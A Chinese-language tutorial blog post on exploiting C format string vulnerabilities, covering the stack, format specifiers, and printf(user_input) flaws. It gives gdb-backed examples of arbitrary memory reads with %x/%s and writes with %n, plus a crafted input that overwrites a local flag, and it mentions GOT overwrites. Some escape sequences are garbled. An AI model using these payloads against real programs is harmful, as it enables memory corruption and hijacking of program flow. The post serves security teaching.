zoukankan      html  css  js  c++  java
  • 格式化字符串

    这个图很重要

    (A)基础知识——栈

    栈 其实是一种数据结构,栈中的数据是先进后出(First In Last Out),常见的操作有两种:压栈(PUSH)和弹栈(POP),用于标识栈属性的也有两个:栈顶(TOP)和栈底(BASE)。PUSH:为栈增加一个元素。POP:从栈中取出一个元素。TOP:标识栈顶的位置,并且是动态变化的,每进行一次push操作,它会自增1,反之,每进行一次pop操作,它会自减1

    BASE:标识栈底位置,它的位置是不会变动的。

    接下来我们将介绍一个新的名词:栈帧。当函数被调用时,系统栈会为这个函数开辟一个新的栈帧,这个栈帧 中的内存空间被它所属的函数独占,当函数返回时,系统栈会弹出该函数所对应的栈帧。32位系统下提供了两个特殊的寄存器(ESP和EBP)识栈帧。

    • ESP:栈指针寄存器,存放一个指针,该指针指向栈顶。
    • EBP:基址指针寄存器,存放一个指针,该指针指向栈底。

    CPU利用EBP(不是ESP)寄存器来访问栈内局部变量、参数、函数返回地址,程序运行过程中,ESP寄存器的值随时变化,如果以ESP的值为基 准对栈内的局部变量、参数、返回地址进行访问显然是不可能的,所以在进行函数调用时,先把用作基准的ESP的值保存到EBP,这样以后无论ESP如何变 化,都能够以EBP为基准访问到局部变量、参数以及返回地址。接下来将编译上述代码并进行调试,从而进一步了解函数调用以及参数传递的过程。

    2.1 什么是格式化字符串?

    printf ("The magic number is: %d", 1911);

    试观察运行以上语句,会发现字符串"The magic number is: %d"中的格式符%d被参数(1911)替换,因此输出变成了“The magic number is: 1911”。 格式化字符串大致就是这么一回事啦。除了表示十进制数的%d,还有不少其他形式的格式符,一起来认识一下吧~

    格式符含义含义(英)

    • %d十进制数(int)decimal值
    • %u无符号十进制数 (unsigned int)unsigned decimal值
    • %x十六进制数 (unsigned int)hexadecimal值
    • %s字符串 ((const) (unsigned) char *)string引用(指针)
    • %n
      %n符号以前输入的字符数量 (* int)number of bytes written so far引用(指针)
      (灵活运用hn,hhn等兄弟格式符来写入一个字,一个字节的内容)
    • %p - 指针 - 指针地址
    • 读:“printf("x"),程序就会以16进制输出栈上偏移位置为100的内存所存放的内容

    ( * %n的使用将在1.5节中做出说明)2.2 栈与格式化字符串格式化函数的行为由格式化字符串控制,printf函数从栈上取得参数。printf ("a has value %d, b has value %d, c is at address: %08x ",a, b, &c);

    2.4 访问任意位置内存我们需要得到一段数据的内存地址,但我们无法修改代码,供我们使用的只有格式字符串。如果我们调用 printf(%s) 时没有指明内存地址, 那么目标地址就可以通过printf函数,在栈上的任意位置获取。printf函数维护一个初始栈指针,所以能够得到所有参数在栈中的位置观察: 格式字符串位于栈上. 如果我们可以把目标地址编码进格式字符串,那样目标地址也会存在于栈上,在接下来的例子里,格式字符串将保存在栈上的缓冲区中。

    int main(int argc, char *argv[])
    
    {
    
        char user_input[100];
    
        ... ... /* other variable definitions and statements */
        scanf("%s", user_input); /* getting a string from user */    printf(user_input); /* Vulnerable place */
    
        return 0;
    
    }

    如果我们让printf函数得到格式字符串中的目标内存地址 (该地址也存在于栈上), 我们就可以访问该地址.
    printf ("x10x01x48x08 %x %x %x %x %s");

    x10x01x48x08 是目标地址的四个字节, 在C语言中, x10 告诉编译器将一个16进制数0x10放于当前位置(占1字节)。如果去掉前缀x10就相当于两个ascii字符1和0了,这就不是我们所期望的结果了。%x 导致栈指针向格式字符串的方向移动(参考1.2节)下图解释了攻击方式,如果用户输入中包含了以下格式字符串
    .png)
    如图所示,我们使用四个%x来移动printf函数的栈指针到我们存储格式字符串的位置,一旦到了目标位置,我们使用%s来打印,它会打印位于地址0x10014808的内容,因为是将其作为字符串来处理,所以会一直打印到结束符为止。user_input数组到传给printf函数参数的地址之间的栈空间不是为了printf函数准备的。但是,因为程序本身存在格式字符串漏洞,所以printf会把这段内存当作传入的参数来匹配%x。最大的挑战就是想方设法找出printf函数栈指针(函数取参地址)到user_input数组的这一段距离是多少,这段距离决定了你需要在%s之前输入多少个%x。
    2.5 在内存中写一个数字——%n%n: 该符号前输入的字符数量会被存储到对应的参数中去int i;
    printf ("12345%n", &i);
    数字5(%n前的字符数量)将会被写入i 中运用同样的方法在访问任意地址内存的时候,我们可以将一个数字写入指定的内存中。只要将上一小节(1.4)的%s替换成%n就能够覆盖0x10014808的内容。利用这个方法,攻击者可以做以下事情:重写程序标识控制访问权限重写栈或者函数等等的返回地址然而,写入的值是由%n之前的字符数量决定的。真的有办法能够写入任意数值么?用最古老的计数方式, 为了写1000,就填充1000个字符吧。为了防止过长的格式字符串,我们可以使用一个宽度指定的格式指示器。(比如(%0数字x)就会左填充预期数量的0符号)

    (B)格式化字符串原理
    什么是格式化字符串呢,print()、fprint()等*print()系列的函数可以按照一定的格式将数据进行输出

       结构:%[标志][输出最小宽度][.精度][长度]类型
    
    
     格式化字符串漏洞有关系的主要有以下几点:
     1、输出最小宽度:用十进制整数来表示输出的最少位数。若实际位数多于定义的宽度,则按实际位数输出,若实际位数少于定义的宽度则补以空格或0。
    
    
     2、类型:
     - d 表示输出十进制整数*
    
    
     - s 从内存中读取字符串*
    
    
     - x 输出十六进制数*
    
    
     - n 输出十六进制数
    
     出现漏洞的情况:
          printf(str)——正常使用应该是:printf(“format”,str);
          因为没有输入format参数,所以可能导致在str中的故意构造的format参数被认为是调用format函数中给出的format
    
    
    
    
    
     对于格式化字符串来说,本质还是任意地址的读写,可以用来修改got、ret_addr去控制程序流程,还可以 多次利用格式串,把shellcode一个字节一个字节写到一个 w+x 的内存地址去,然后修改got跳过去执行。
     但是如果格式化字符串不在栈中呢?如果不在栈中,那么就不能通过 %*$ 这样的方式去定位,增大了利用难度,在看了phrack的文章,了解到了一种姿势:假如要把 sleep@got 修改成 system@got ,可以先利用格式串把sleep@got先写到当前ebp指向,然后再次利用,把这个改掉,因为都是在 got表中,所以只需要改最后两个字节(x86)。 这样的话就实现了 不在栈中格式串的利用了。
    

    (C)攻击方式

    (1)利用printf()函数的参数个数不固定——数组越界访问
    正常程序:

    #include <stdio.h>
    int main(void)
    {
    int a=1,b=2,c=3;
    char buf[]="test";
    printf("%s %d %d %d
    ",buf,a,b,c);
    return 0;
    }

    改过的程序:
    printf("%s %d %d %d %x ",buf,a,b,c),编译后运行:

    bingtangguan@ubuntu:~/Desktop/format$ gcc -z execstack -fno-stack-protector -o format1 format.c
    format.c: In function ‘main’:
    format.c:6:1: warning: format ‘%x’ expects a matching ‘unsigned int’ argument [-Wformat=]
     printf("%s %d %d %d %x
    ",buf,a,b,c);
     ^
    bingtangguan@ubuntu:~/Desktop/format$ ./format1
    test 1 2 3 c30000
             这个C3000是参数压栈后面的一个地址的内容

    .png)

    (2)利用printf()来读取任意地址读取
    刚刚那个情况可以利用的情况有限
    现在我们要实现任意地址读取

    #include <stdio.h>
    int main(int argc, char *argv[])
    {
        char str[200];
        fgets(str,200,stdin);
        printf(str);
        return 0;
    }

    gdb调试,单步运行完call 0x8048340 <fgets@plt>后输入:

    AAAA%08x%08x%08x%08x%08x%08x(%08x的意义:最少输出8位,如果不够补0,超过就不管,x代表16进制

    )然后我们执行到printf()函数,观察此时的栈区,特别注意一下0x41414141(这是我们str的开始):

    >>> x/10x $sp
    0xbfffef70: 0xbfffef88  0x000000c8  0xb7fc1c20  0xb7e25438
    0xbfffef80: 0x08048210  0x00000001  0x41414141  0x78383025
    0xbfffef90: 0x78383025  0x78383025
    继续执行,看我们能获得什么,我们成功的读到了AAAA:
    
    
    AAAA000000c8b7fc1c20b7e25438080482100000000141414141

    PS:输出是从ebp+4开始进行读取的
    可以用%s来获取指针指向的内存数据。那么我们就可以这么构造尝试去获取0x41414141地址上的数据:
    x41x41x41x41%08x%08x%08x%08x%08x%s
    可以用%s来获取指针指向的内存数据:
    那么我们就可以这么构造尝试去获取0x41414141地址上的数据:
    x41x41x41x41%08x%08x%08x%08x%08x%s

    (3) 利用%n格式符写入数据
    %n是一个不经常用到的格式符,它的作用是把前面已经打印的长度写入某个内存地址

    #include <stdio.h>
    main()
    {
      int num=66666666;
      printf("Before: num = %d
    ", num);
      printf("%d%n
    ", num, &num);
      printf("After: num = %d
    ", num);
    }
    可以发现我们用%n成功修改了num的值:
    
    
    
    bingtangguan@ubuntu:~/Desktop/format$ ./format2
    Before: num = 66666666
    66666666
    After: num = 8

    现在我们已经知道可以用构造的格式化字符串去访问栈内的数据,并且可以利用%n向内存中写入值,那我们是不是可以修改某一个函数的返回地址从而控制 程序执行流程呢,到了这一步细心的同学可能已经发现了,%n的作用只是将前面打印的字符串长度写入到内存中,而我们想要写入的是一个地址,而且这个地址是 很大的。这时候我们就需要用到printf()函数的第三个特性来配合完成地址的写入。

    (4)自定义打印字符串宽度
    我们在上面的基础部分已经有提到关于打印字符串宽度的问题,在格式符中间加上一个十进制整数来表示输出的最少位数,若实际位数多于定义的宽度,则按实际位数输出,若实际位数少于定义的宽度则补以空格或0。我们把上一段代码做一下修改并看一下效果:

    #include <stdio.h>
    main()
    {
      int num=66666666;
      printf("Before: num = %d
    ", num);
      printf("%.100d%n
    ", num, &num);
      printf("After: num = %d
    ", num);
    }
    可以看到我们的num值被改为了100
    
    
    bingtangguan@ubuntu:~/Desktop/format$ ./format2
    Before: num = 66666666
    00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
    66666666
    After: num = 100

    看到这儿聪明的你肯定明白如何去覆盖一个地址了吧,比如说我们要把0x8048000这个地址写入内存,我们要做的就是把该地址对应的10进制134512640作为格式符控制宽度即可:

    printf("%.134512640d%n
    ", num, &num);
    printf("After: num = %x
    ", num);
    可以看到,我们的num被成功修改为8048000
    
    
    bingtangguan@ubuntu:~/Desktop/format$ ./format2
    Before: num = 66666666
    中间的0省略...........
    00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000066666666
    After: num = 8048000

    (D)实例
    (1)

    #include <stdio.h>
    int main(void)
    { 
    int flag = 0;
    int *p = &flag; 
    char a[100];
    scanf("%s",a);
    printf(a);
    if(flag == 2000)
        {
                printf("good!!
    ");
        }
        return 0;
    }

    要想得到good——需要将flag地址的内容写为2000
    首先可以确定的是:
    flag的地址和a都在同一个栈帧中,间隔应该差的是100(0x64)
    但是flag 的具体位置可能不一定——需要泄露(如果没有开ASRL和简单)
    可以通过“打印字符串宽度的问题,在格式符中间加上一个十进制整数来表示输出的最少位数,若实际位数多于定义的宽度,则按实际位数输出,若实际位数少于定义的宽度则补以空格或0”和%n来将目的地址的值改成2000
    反编译看看flag的位置:%ebp-0x10

    80484ac:   c7 45 f0 00 00 00 00    movl   $0x0,-0x10(%ebp)
    80484b3:   8d 45 f0                lea    -0x10(%ebp),%eax
    80484b6:   89 45 f4                mov    %eax,-0xc(%ebp

    通过前面介绍的泄露地址:
    下面我们就可以直接运行程序,并输入%x,然后获取ESP+4地址内的值:

    bingtangguan@ubuntu:~/Desktop/format$ ./test
    %x
    bffff024

    那我们需要修改的地址就是:0xbffff024+0x64=0xbffff088

    最后就是要在地址0xbffff088处写入2000: x88xf0xffxbf%10x%10x%10x%1966x%n
    分析:2000很容易可以理解,但是为什么会把输入的x88xf0xffxbf作为%n的地址呢?
    主要和栈有关:

     借用上面的图:因为整个printf没有format参数,当我们输入整个字符串的时候,目的地址在最高位置,当读到%n 的时候会将最高的地方的值作为%n的地址,所以会将2000写入这个位置
     (借用其他博客上的话:当printf的format string是一个用户可控的字符串时,如果其中包含有%d这样特殊意义的字符时,printf就会根据format string的指示,把堆栈中接下来的地址作为余下的参数解释,从而做出程序作者没有预期的行为。)
    

    (E)参考文章
    http://bobao.360.cn/learning/detail/695.html

  • 相关阅读:
    跃迁方法论 Continuous practice
    EPI online zoom session 面试算法基础知识直播分享
    台州 OJ 2648 小希的迷宫
    洛谷 P1074 靶形数独
    洛谷 P1433 DP 状态压缩
    台州 OJ FatMouse and Cheese 深搜 记忆化搜索
    台州 OJ 2676 Tree of Tree 树状 DP
    台州 OJ 2537 Charlie's Change 多重背包 二进制优化 路径记录
    台州 OJ 2378 Tug of War
    台州 OJ 2850 Key Task BFS
  • 原文地址:https://www.cnblogs.com/volva/p/11814945.html
Copyright © 2011-2022 走看看